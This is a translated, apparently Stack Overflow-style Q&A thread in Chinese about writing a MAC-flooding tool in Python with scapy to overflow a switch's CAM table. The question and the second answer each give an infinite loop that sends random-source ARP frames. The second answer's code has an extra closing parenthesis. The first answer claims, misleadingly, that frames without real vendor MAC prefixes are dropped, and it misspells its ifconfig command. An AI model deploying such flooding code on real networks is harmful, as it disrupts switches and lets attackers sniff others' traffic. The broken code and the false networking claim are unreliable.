python / scapy mac flooding脚本

时间:2009-09-28 14:35:53

标签: python scapy

我正在尝试在python中制作一个小型的mac flood工具来填充我的开关凸轮表,但我不能让魔法发生?你能看出我做错了什么吗?

from scapy.all import *
while 1:
  dest_mac = RandMAC()
  src_mac = RandMAC()
  sendp(Ether(src=src_mac, dst=dest_mac)/ARP(op=2, psrc="0.0.0.0", hwsrc=src_mac, hwdst=dest_mac)/Padding(load="X"*18), verbose=0)

虽然代码似乎运行良好,但它没有完成它的工作。为了测试它,我使用wireshark查看数据包,然后运行THC的寄生虫“工作”,数据包几乎相同,所以我不知道发生了什么。谢谢你的帮助。

2 个答案:

答案 0 :(得分:1)

你只能使用一些mac地址:mac地址由六组两个十六进制数字组成,用连字符( - )或冒号(:)分隔。前三个字段必须填充一些值,每个供应商都有不同的值。如果未使用任何供应商代码设置此字段,则服务器(或客户端)将丢弃该数据包。你可以在wireshark manuf文件中找到mac供应商列表,或者只是用google查找它。您可以在终端输入“sudo ifcofig IFACE ether hw ADDRESS”来查看地址。

答案 1 :(得分:0)

Emada,

交换机只使用源地址学习Mac地址,因此无需担心目标随机化。

我已经对此进行了测试,它似乎运行良好..您可能还想尝试使用sendpfast选项进行泛洪,但是在我的测试中,sendp似乎运行得更快?

from scapy.all import *

while 1:
    sendp(Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)))